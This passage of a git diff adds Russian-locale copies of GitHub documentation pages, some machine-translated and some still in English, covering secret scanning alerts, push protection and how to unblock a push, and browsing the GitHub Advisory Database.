![Screenshot of the dropdown menu for resolving an alert from secret scanning](/assets/images/enterprise/3.2/repository/secret-scanning-resolve-alert-ghe.png) + + {% endif %}{% ifversion secret-scanning-dismissal-comment %} +1. Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can view the history of all dismissed alerts and dismissal comments in the alert timeline. You can also retrieve or set a comment by using the {% data variables.product.prodname_secret_scanning_caps %} API. The comment is contained in the `resolution_comment` field. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/secret-scanning#update-a-secret-scanning-alert)" in the REST API documentation. + + ![Screenshot showing how to dismiss an alert via the "Dismiss alert" dropdown, with the option to add a dismissal comment](/assets/images/help/repository/secret-scanning-dismissal-comment.png) + +1. Click **Dismiss alert**. +{% endif %} + +## Securing compromised secrets + +Once a secret has been committed to a repository, you should consider the secret compromised. {% data variables.product.prodname_dotcom %} recommends the following actions for compromised secrets: + +- For a compromised {% data variables.product.prodname_dotcom %} {% data variables.product.pat_generic %}, delete the compromised token, create a new token, and update any services that use the old token. For more information, see "[Creating a {% data variables.product.pat_generic %} for the command line](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line)." +{%- ifversion token-audit-log %} + - {% ifversion ghec %}If your organization is owned by an enterprise account, identify{% else %}Identify{% endif %} any actions taken by the compromised token on your enterprise's resources. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)." +{%- endif %} +- For all other secrets, first verify that the secret committed to {% data variables.product.product_name %} is valid. If so, create a new secret, update any services that use the old secret, and then delete the old secret. + +{% ifversion ghec %} +{% note %} + +**Note:** If a secret is detected in a public repository on {% data variables.product.prodname_dotcom_the_website %} and the secret also matches a partner pattern, an alert is generated and the potential secret is reported to the service provider. For details of partner patterns, see "[Supported secrets for partner patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)." + +{% endnote %} +{% endif %} + +## Configuring notifications for {% data variables.product.prodname_secret_scanning %} alerts + +When a new secret is detected, {% data variables.product.product_name %} notifies all users with access to security alerts for the repository according to their notification preferences. You will receive an email notification if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, or are the author of the commit that contains the secret and are not ignoring the repository. + +For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)" and "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." diff --git a/translations/ru-RU/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md b/translations/ru-RU/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md new file mode 100644 index 000000000000..78b23e2fe113 --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/protecting-pushes-with-secret-scanning.md @@ -0,0 +1,140 @@ +--- +title: Protecting pushes with secret scanning +intro: 'You can use {% data variables.product.prodname_secret_scanning %} to prevent supported secrets from being pushed into your {% ifversion secret-scanning-enterprise-level %}enterprise,{% endif %} organization{% ifversion secret-scanning-enterprise-level %},{% endif %} or repository by enabling push protection.' +product: '{% data reusables.gated-features.secret-scanning %}' +miniTocMaxHeadingLevel: 3 +versions: + feature: secret-scanning-push-protection +redirect_from: + - /early-access/code-security/secret-scanning/protecting-pushes-with-secret-scanning +type: how_to +topics: + - Secret scanning + - Advanced Security + - Alerts + - Repositories +shortTitle: Enable push protection +--- + +{% data reusables.secret-scanning.beta %} +{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} +{% data reusables.secret-scanning.push-protection-beta %} + +## About push protection for secrets + +Up to now, {% data variables.product.prodname_secret_scanning_GHAS %} checks for secrets _after_ a push and alerts users to exposed secrets. {% data reusables.secret-scanning.push-protection-overview %} + +If a contributor bypasses a push protection block for a secret, {% data variables.product.prodname_dotcom %}: +- generates an alert. +- creates an alert in the "Security" tab of the repository. +- adds the bypass event to the audit log.{% ifversion secret-scanning-push-protection-email %} +- sends an email alert to organization owners, security managers, and repository administrators, with a link to the related secret and the reason why it was allowed.{% endif %} + +For information on the secrets and service providers supported for push protection, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)." + +## Enabling {% data variables.product.prodname_secret_scanning %} as a push protection + +For you to use {% data variables.product.prodname_secret_scanning %} as a push protection, the {% ifversion secret-scanning-enterprise-level %}enterprise,{% endif %} organization{% ifversion secret-scanning-enterprise-level %},{% endif %} or repository needs to have both {% data variables.product.prodname_GH_advanced_security %} and {% data variables.product.prodname_secret_scanning %} enabled. For more information, see {% ifversion secret-scanning-enterprise-level %}"[Managing security and analysis settings for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise),"{% endif %} "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)," "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)," and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." + +Organization owners, security managers, and repository administrators can enable push protection for {% data variables.product.prodname_secret_scanning %} via the UI and API. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" and expand the "Properties of the `security_and_analysis` object" section in the REST API documentation. + +{% ifversion secret-scanning-enterprise-level %} +### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for your enterprise +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +1. In the left sidebar, click **Code security and analysis**. +{% data reusables.advanced-security.secret-scanning-push-protection-enterprise %} +{% endif %} + +### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for an organization + +{% data reusables.organizations.navigate-to-org %} +{% data reusables.organizations.org_settings %} +{% data reusables.organizations.security-and-analysis %} +{% data reusables.repositories.navigate-to-ghas-settings %} +{% data reusables.advanced-security.secret-scanning-push-protection-org %} + +### Enabling {% data variables.product.prodname_secret_scanning %} as a push protection for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +{% data reusables.repositories.navigate-to-ghas-settings %} +{% data reusables.advanced-security.secret-scanning-push-protection-repo %} + +## Using secret scanning as a push protection from the command line + +{% data reusables.secret-scanning.push-protection-command-line-choice %} + +Up to five detected secrets will be displayed at a time on the command line. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret. + +{% ifversion push-protection-custom-link-orgs %} + +Organization admins can provide a custom link that will be displayed when a push is blocked. This custom link can contain organization-specific resources and advice, such as directions on using a recommended secrets vault or who to contact for questions relating to the blocked secret. + +![Screenshot showing that a push is blocked when a user attempts to push a secret to a repository](/assets/images/help/repository/secret-scanning-push-protection-with-custom-link.png) + +{% else %} + +![Screenshot showing that a push is blocked when a user attempts to push a secret to a repository](/assets/images/help/repository/secret-scanning-push-protection-with-link.png) + +{% endif %} + +{% data reusables.secret-scanning.push-protection-remove-secret %} For more information about remediating blocked secrets, see "[Pushing a branch blocked by push protection](/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection#resolving-a-blocked-push-on-the-command-line)." + +If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. For example, you might revoke the secret and remove the secret from the repository's commit history. Real secrets that have been exposed must be revoked to avoid unauthorized access. You might consider first rotating the secret before revoking it. For more information, see "[Removing sensitive data from a repository](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)." + +{% data reusables.secret-scanning.push-protection-multiple-branch-note %} + +### Allowing a blocked secret to be pushed + +If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed. + +{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %} + +{% data reusables.secret-scanning.push-protection-allow-email %} + +1. Visit the URL returned by {% data variables.product.prodname_dotcom %} when your push was blocked. + ![Screenshot showing form with options for unblocking the push of a secret](/assets/images/help/repository/secret-scanning-unblock-form.png) +{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %} +1. Click **Allow me to push this secret**. +2. Reattempt the push on the command line within three hours. If you have not pushed within three hours, you will need to repeat this process. + +{% ifversion secret-scanning-push-protection-web-ui %} +## Using secret scanning as a push protection from the web UI + +{% data reusables.secret-scanning.push-protection-web-ui-choice %} + +{% data variables.product.prodname_dotcom %} will only display one detected secret at a time in the web UI. If a particular secret has already been detected in the repository and an alert already exists, {% data variables.product.prodname_dotcom %} will not block that secret. + +{% ifversion push-protection-custom-link-orgs %} + +Organization admins can provide a custom link that will be displayed when a push is blocked. This custom link can contain resources and advice specific to your organization. For example, the custom link can point to a README file with information about the organization's secret vault, which teams and individuals to escalate questions to, or the organization's approved policy for working with secrets and rewriting commit history. +{% endif %} + +You can remove the secret from the file using the web UI. Once you remove the secret, the banner at the top of the page will change and tell you that you can now commit your changes. + + ![Screenshot showing commit in web ui allowed after secret fixed](/assets/images/help/repository/secret-scanning-push-protection-web-ui-commit-allowed.png) + +### Bypassing push protection for a secret + +{% data reusables.secret-scanning.push-protection-remove-secret %} For more information about remediating blocked secrets, see "[Pushing a branch blocked by push protection](/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection#resolving-a-blocked-push-in-the-web-ui)." + +If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. For more information, see "[Removing sensitive data from a repository](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository)." + +If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed. + +{% data reusables.secret-scanning.push-protection-allow-secrets-alerts %} + +{% data reusables.secret-scanning.push-protection-allow-email %} + +If you confirm a secret is real and that you intend to fix it later, you should aim to remediate the secret as soon as possible. + +1. In the banner that appeared at the top of the page when {% data variables.product.prodname_dotcom %} blocked your commit, click **Bypass protection**. +{% data reusables.secret-scanning.push-protection-choose-allow-secret-options %} + + ![Screenshot showing form with options for unblocking the push of a secret](/assets/images/help/repository/secret-scanning-push-protection-web-ui-allow-secret-options.png) + +1. Click **Allow secret**. + +{% endif %} diff --git a/translations/ru-RU/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md b/translations/ru-RU/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md new file mode 100644 index 000000000000..5a7987c33c9b --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/pushing-a-branch-blocked-by-push-protection.md @@ -0,0 +1,62 @@ +--- +title: Pushing a branch blocked by push protection +intro: 'The push protection feature of {% data variables.product.prodname_secret_scanning %} proactively protects you against leaked secrets in your repositories. You can resolve blocked pushes and, once the detected secret is removed, you can push changes to your working branch from the command line or the web UI.' +product: '{% data reusables.gated-features.secret-scanning %}' +miniTocMaxHeadingLevel: 3 +versions: + feature: secret-scanning-push-protection +type: how_to +topics: + - Secret scanning + - Advanced Security + - Alerts + - Repositories +shortTitle: Push a blocked branch +--- + +## About push protection for {% data variables.product.prodname_secret_scanning %} + +The push protection feature of {% data variables.product.prodname_secret_scanning %} helps to prevent security leaks by scanning for secrets before you push changes to your repository. {% data reusables.secret-scanning.push-protection-overview %} For information on the secrets and service providers supported for push protection, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-push-protection)." + +{% data reusables.secret-scanning.push-protection-remove-secret %} + +{% tip %} + +**Tip** +If {% data variables.product.prodname_dotcom %} blocks a secret that you believe is safe to push, you can allow the secret and specify the reason why it should be allowed. For more information about bypassing push protection for a secret, see "[Allowing a blocked secret to be pushed](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#allowing-a-blocked-secret-to-be-pushed)" and "[Bypassing push protection for a secret](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)" for the command line and the web UI, respectively. + +{% endtip %} + +{% ifversion push-protection-custom-link-orgs %} + +Organization admins can provide a custom link that will be included in the message from {% data variables.product.product_name %} when your push is blocked. This custom link can contain resources and advice specific to your organization and its policies. +{% endif %} + +## Resolving a blocked push on the command line + +{% data reusables.secret-scanning.push-protection-command-line-choice %} + +{% data reusables.secret-scanning.push-protection-multiple-branch-note %} + +If the blocked secret was introduced by the latest commit on your branch, you can follow the guidance below. + +1. Remove the secret from your code. +1. Commit the changes, by using `git commit --amend`. +1. Push your changes with `git push`. + +You can also remove the secret if the secret appears in an earlier commit in the Git history. + +1. Use `git log` to determine which commit surfaced in the push error came first in history. +1. Start an interactive rebase with `git rebase -i ~1`. is the id of the commit from step 1. +1. Identify your commit to edit by changing `pick` to `edit` on the first line of the text that appears in the editor. +1. Remove the secret from your code. +1. Commit the change with `git commit --amend`. +1. Run `git rebase --continue` to finish the rebase. + +## Resolving a blocked commit in the web UI + +{% data reusables.secret-scanning.push-protection-web-ui-choice %} + +To resolve a blocked commit in the web UI, you need to remove the secret from the file, or use the **Bypass protection** dropdown to allow the secret. For more information about bypassing push protection from the web UI, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#bypassing-push-protection-for-a-secret)." + +If you confirm a secret is real, you need to remove the secret from the file. Once you remove the secret, the banner at the top of the page will change and tell you that you can now commit your changes. diff --git a/translations/ru-RU/content/code-security/secret-scanning/secret-scanning-patterns.md b/translations/ru-RU/content/code-security/secret-scanning/secret-scanning-patterns.md new file mode 100644 index 000000000000..1499e8e879a6 --- /dev/null +++ b/translations/ru-RU/content/code-security/secret-scanning/secret-scanning-patterns.md @@ -0,0 +1,81 @@ +--- +title: Secret scanning patterns +intro: 'Lists of supported secrets and the partners that {% data variables.product.company_short %} works with to prevent fraudulent use of secrets that were committed accidentally.' +product: '{% data reusables.gated-features.secret-scanning-partner %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: reference +topics: + - Secret scanning + - Advanced Security +redirect_from: + - /code-security/secret-scanning/secret-scanning-partners +--- + +{% data reusables.secret-scanning.beta %} +{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} + +{% ifversion fpt or ghec %} +## About {% data variables.product.prodname_secret_scanning %} patterns + +{% data variables.product.product_name %} maintains these different sets of {% data variables.product.prodname_secret_scanning %} patterns: + +1. **Partner patterns.** Used to detect potential secrets in all public repositories. For details, see "[Supported secrets for partner patterns](#supported-secrets-for-partner-patterns)." +2. **Advanced security patterns.** Used to detect potential secrets in repositories with {% data variables.product.prodname_secret_scanning %} enabled. {% ifversion ghec %} For details, see "[Supported secrets for advanced security](#supported-secrets-for-advanced-security)."{% endif %}{% ifversion secret-scanning-push-protection %} +3. **Push protection patterns.** Used to detect potential secrets in repositories with {% data variables.product.prodname_secret_scanning %} as a push protection enabled. For details, see "[Supported secrets for push protection](#supported-secrets-for-push-protection)."{% endif %} + +{% ifversion fpt %} +Organizations using {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_GH_advanced_security %} can enable {% data variables.product.prodname_secret_scanning_GHAS %} on their repositories. For details of these patterns, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security). +{% endif %} + +## Supported secrets for partner patterns + +{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers. For more information about {% data variables.product.prodname_secret_scanning_partner %}, see "[About {% data variables.product.prodname_secret_scanning_partner %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-partner-patterns)." + +{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} + +{% data reusables.secret-scanning.partner-secret-list-public-repo %} +{% endif %} + +{% ifversion ghec or ghae or ghes %} +## Supported secrets{% ifversion ghec %} for advanced security{% endif %} + +When {% data variables.product.prodname_secret_scanning_GHAS %} is enabled, {% data variables.product.prodname_dotcom %} scans for secrets issued by the following service providers. {% ifversion ghec %}For more information about {% data variables.product.prodname_secret_scanning_GHAS %}, see "[About {% data variables.product.prodname_secret_scanning_GHAS %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-advanced-security)."{% endif %} + +{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} + +If you use the REST API for secret scanning, you can use the `Secret type` to report on secrets from specific issuers. For more information, see "[Secret scanning](/enterprise-cloud@latest/rest/secret-scanning)." + +{% ifversion ghes or ghae or ghec %} +{% note %} + +**Note:** You can also define custom {% data variables.product.prodname_secret_scanning %} patterns for your repository, organization, or enterprise. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)." + +{% endnote %} +{% endif %} + +{% data reusables.secret-scanning.partner-secret-list-private-repo %} +{% endif %} + +{% ifversion secret-scanning-push-protection %} +## Supported secrets for push protection + +{% data variables.product.prodname_secret_scanning_caps %} as a push protection currently scans repositories for secrets issued by the following service providers. + +{% data reusables.secret-scanning.secret-scanning-pattern-pair-matches %} + +{% data reusables.secret-scanning.secret-list-private-push-protection %} + +{% endif %} +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" +{%- ifversion fpt or ghec %} +- "[{% data variables.product.prodname_secret_scanning_caps %} partner program](/developers/overview/secret-scanning-partner-program)" +{%- else %} +- "[{% data variables.product.prodname_secret_scanning_caps %} partner program](/free-pro-team@latest/developers/overview/secret-scanning-partner-program)" in the {% data variables.product.prodname_ghe_cloud %} documentation +{% endif %} diff --git a/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md new file mode 100644 index 000000000000..575799145512 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-global-security-advisories.md @@ -0,0 +1,38 @@ +--- +title: Сведения о глобальных рекомендациях по безопасности +intro: 'Глобальная база данных безопасности находится в {% data variables.product.prodname_advisory_database %}, которая содержит cvEs и рекомендации по безопасности, инициированные {% data variables.product.company_short %}, влияющие на открытый код мире. Вы можете внести свой вклад в улучшение глобальных рекомендаций.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Security advisories + - Alerts + - Vulnerabilities + - CVEs +ms.openlocfilehash: d28de180b9fee592dcba89d03ca537d4ffd2d9eb +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114090' +--- +## Сведения о глобальных рекомендациях по безопасности + +{% ifversion fpt or ghec %} Существует два типа рекомендаций: глобальные рекомендации по безопасности и рекомендации по безопасности репозитория. Дополнительные сведения о рекомендациях по безопасности репозитория см. в разделе [Сведения о рекомендациях по безопасности репозитория](/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories). {% endif %} + +Рекомендации по глобальной безопасности сгруппированы в две категории: рекомендации, проверенные {% data variables.product.company_short %}, и непросмотренные рекомендации. +- Рекомендации, проверенные в {% data variables.product.company_short %}, связаны с уязвимостями системы безопасности{% ifversion GH-advisory-db-supports-malware %} или вредоносными программами{% endif %} и предназначены для пакетов в экосистемах, которые мы поддерживаем. +- Непроверенные рекомендации — это уязвимости в системе безопасности, которые мы автоматически публикуем в {% data variables.product.prodname_advisory_database %} непосредственно из веб-канала Национальной базы данных уязвимостей. + +Дополнительные сведения о {% data variables.product.prodname_advisory_database %} см. [в разделе Сведения о {% data variables.product.prodname_advisory_database %}](/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database). + +{% data reusables.security-advisory.global-advisories %} + +Каждая рекомендация по репозиторию проверяется группой курирования {% data variables.product.prodname_security %} для рассмотрения в качестве глобальной рекомендации. Мы публикуем рекомендации по безопасности для всех экосистем, поддерживаемых схемой зависимостей, в {% data variables.product.prodname_advisory_database %} в [github.com/advisories](https://github.com/advisories). + +Вы можете получить доступ к любым рекомендациям в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Обзор рекомендаций по безопасности в базе данных рекомендаций GitHub](/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database). + +Вы можете предложить улучшения для любой рекомендации в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database). diff --git a/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md new file mode 100644 index 000000000000..3e254572b46d --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/about-the-github-advisory-database.md @@ -0,0 +1,84 @@ +--- +title: About the GitHub Advisory database +intro: 'The {% data variables.product.prodname_advisory_database %} contains a list of known security vulnerabilities {% ifversion GH-advisory-db-supports-malware %}and malware, {% endif %}grouped in two categories: {% data variables.product.company_short %}-reviewed advisories and unreviewed advisories.' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Security advisories + - Alerts + - Vulnerabilities + - CVEs +--- + +## About the {% data variables.product.prodname_advisory_database %} + +{% data reusables.repositories.tracks-vulnerabilities %} + +Security advisories are published as JSON files in the Open Source Vulnerability (OSV) format. For more information about the OSV format, see "[Open Source Vulnerability format](https://ossf.github.io/osv-schema/)." + +## About types of security advisories + +{% data reusables.advisory-database.beta-malware-advisories %} + +Each advisory in the {% data variables.product.prodname_advisory_database %} is for a vulnerability in open source projects{% ifversion GH-advisory-db-supports-malware %} or for malicious open source software{% endif %}. + +{% data reusables.repositories.a-vulnerability-is %} Vulnerabilities in code are usually introduced by accident and fixed soon after they are discovered. You should update your code to use the fixed version of the dependency as soon as it is available. + +{% ifversion GH-advisory-db-supports-malware %} + +In contrast, malicious software, or malware, is code that is intentionally designed to perform unwanted or harmful functions. The malware may target hardware, software, confidential data, or users of any application that uses the malware. You need to remove the malware from your project and find an alternative, more secure replacement for the dependency. + +{% endif %} + +### {% data variables.product.company_short %}-reviewed advisories + +{% data variables.product.company_short %}-reviewed advisories are security vulnerabilities{% ifversion GH-advisory-db-supports-malware %} or malware{% endif %} that have been mapped to packages in ecosystems we support. We carefully review each advisory for validity and ensure that they have a full description, and contain both ecosystem and package information. + +Generally, we name our supported ecosystems after the software programming language's associated package registry. We review advisories if they are for a vulnerability in a package that comes from a supported registry. + +- Composer (registry: https://packagist.org/){% ifversion GH-advisory-db-erlang-support %} +- Erlang (registry: https://hex.pm/){% endif %} +- Go (registry: https://pkg.go.dev/) +{%- ifversion fpt or ghec or ghes > 3.6 or ghae > 3.6 %} +- GitHub Actions (https://github.com/marketplace?type=actions/) {% endif %} +- Maven (registry: https://repo.maven.apache.org/maven2) +- npm (registry: https://www.npmjs.com/) +- NuGet (registry: https://www.nuget.org/) +- pip (registry: https://pypi.org/){% ifversion dependency-graph-dart-support %} +- pub (registry: https://pub.dev/packages/registry){% endif %} +- RubyGems (registry: https://rubygems.org/) +- Rust (registry: https://crates.io/) + +If you have a suggestion for a new ecosystem we should support, please open an [issue](https://github.com/github/advisory-database/issues) for discussion. + +If you enable {% data variables.product.prodname_dependabot_alerts %} for your repositories, you are automatically notified when a new {% data variables.product.company_short %}-reviewed advisory reports a vulnerability {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} for a package you depend on. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." + +### Unreviewed advisories + +Unreviewed advisories are security vulnerabilites that we publish automatically into the {% data variables.product.prodname_advisory_database %}, directly from the National Vulnerability Database feed. + +{% data variables.product.prodname_dependabot %} doesn't create {% data variables.product.prodname_dependabot_alerts %} for unreviewed advisories as this type of advisory isn't checked for validity or completion. + +## About information in security advisories + +Each security advisory contains information about the vulnerability{% ifversion GH-advisory-db-supports-malware %} or malware,{% endif %} which may include the description, severity, affected package, package ecosystem, affected versions and patched versions, impact, and optional information such as references, workarounds, and credits. In addition, advisories from the National Vulnerability Database list contain a link to the CVE record, where you can read more details about the vulnerability, its CVSS scores, and its qualitative severity level. For more information, see the "[National Vulnerability Database](https://nvd.nist.gov/)" from the National Institute of Standards and Technology. + +The severity level is one of four possible levels defined in the "[Common Vulnerability Scoring System (CVSS), Section 5](https://www.first.org/cvss/specification-document)." +- Low +- Medium/Moderate +- High +- Critical + +The {% data variables.product.prodname_advisory_database %} uses the CVSS levels described above. If {% data variables.product.company_short %} obtains a CVE, the {% data variables.product.prodname_advisory_database %} uses CVSS version 3.1. If the CVE is imported, the {% data variables.product.prodname_advisory_database %} supports both CVSS versions 3.0 and 3.1. + +{% data reusables.repositories.github-security-lab %} + +## Further reading + +- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)" +- MITRE's [definition of "vulnerability"](https://www.cve.org/ResourcesSupport/Glossary#vulnerability) \ No newline at end of file diff --git a/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md new file mode 100644 index 000000000000..ceab13853e04 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/global-security-advisories/browsing-security-advisories-in-the-github-advisory-database.md @@ -0,0 +1,128 @@ +--- +title: Просмотр рекомендаций по безопасности в базе данных рекомендаций по GitHub +intro: 'Вы можете просмотреть {% data variables.product.prodname_advisory_database %}, чтобы найти рекомендации по рискам безопасности в проектах с открытым кодом, размещенных в {% data variables.product.company_short %}.' +shortTitle: Browse Advisory Database +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/managing-security-vulnerabilities/browsing-security-vulnerabilities-in-the-github-advisory-database + - /code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database + - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database + - /code-security/dependabot/dependabot-alerts/browsing-security-vulnerabilities-in-the-github-advisory-database + - /code-security/dependabot/dependabot-alerts/browsing-security-advisories-in-the-github-advisory-database +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Security advisories + - Alerts + - Dependabot + - Vulnerabilities + - CVEs +ms.openlocfilehash: 19c37d2a1a1101f9984de13cd034bb0ee5e285a8 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114087' +--- + + +## Доступ к рекомендации в {% data variables.product.prodname_advisory_database %} + +Вы можете получить доступ к любым советам в {% data variables.product.prodname_advisory_database %}. + +1. Перейдите к https://github.com/advisories. +2. При необходимости используйте любое из раскрывающихся меню, чтобы отфильтровать список. + ![Раскрывающиеся фильтры](/assets/images/help/security/advisory-database-dropdown-filters.png) {% tip %} + + **Совет**. Вы можете использовать боковую панель слева, чтобы просмотреть проверенные в {% data variables.product.company_short %} и непроверенные рекомендации по отдельности. + + {% endtip %} +3. Щелкните рекомендацию, чтобы просмотреть подробные сведения. По умолчанию вы увидите рекомендации по уязвимостям системы безопасности, проверенные {% data variables.product.company_short %}. {% ifversion GH-advisory-db-supports-malware %} Чтобы отобразить рекомендации по вредоносным программам, используйте `type:malware` в строке поиска.{% endif %} + + +{% note %} + +База данных также доступна с помощью API GraphQL. {% ifversion GH-advisory-db-supports-malware %} По умолчанию запросы возвращают {% data variables.product.company_short %}— проверенные рекомендации по работе с уязвимостями системы безопасности, если только не указано `type:malware`.{% endif %} Дополнительные сведения см. в разделе "Событие веб-перехватчика [`security_advisory`](/webhooks/event-payloads/#security_advisory)". + +{% endnote %} + +## Редактирование рекомендации в {% data variables.product.prodname_advisory_database %} +Вы можете предложить улучшения для любой рекомендации в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database). + +## Поиск в {% data variables.product.prodname_advisory_database %} + +Вы можете выполнять поиск в базе данных и использовать квалификаторы, чтобы сузить область поиска. Например, вы можете искать рекомендации, созданные в определенную дату, в определенной экосистеме или в определенной библиотеке. + +{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример | +| ------------- | ------------- | +| `type:reviewed`| [**type:reviewed**](https://github.com/advisories?query=type%3Areviewed): рекомендации по уязвимостям системы безопасности, проверенные {% data variables.product.company_short %}. | +{% ifversion GH-advisory-db-supports-malware %}| `type:malware` | [**type:malware**](https://github.com/advisories?query=type%3Amalware) будет отображать проверенные в {% data variables.product.company_short %} рекомендации для вредоносных программ. | +{% endif %}| `type:unreviewed`| [**type:unreviewed**](https://github.com/advisories?query=type%3Aunreviewed) будет отображать непроверенные рекомендации. | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) покажет рекомендацию с этим идентификатором {% data variables.product.prodname_advisory_database %}. | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) покажет рекомендацию с этим 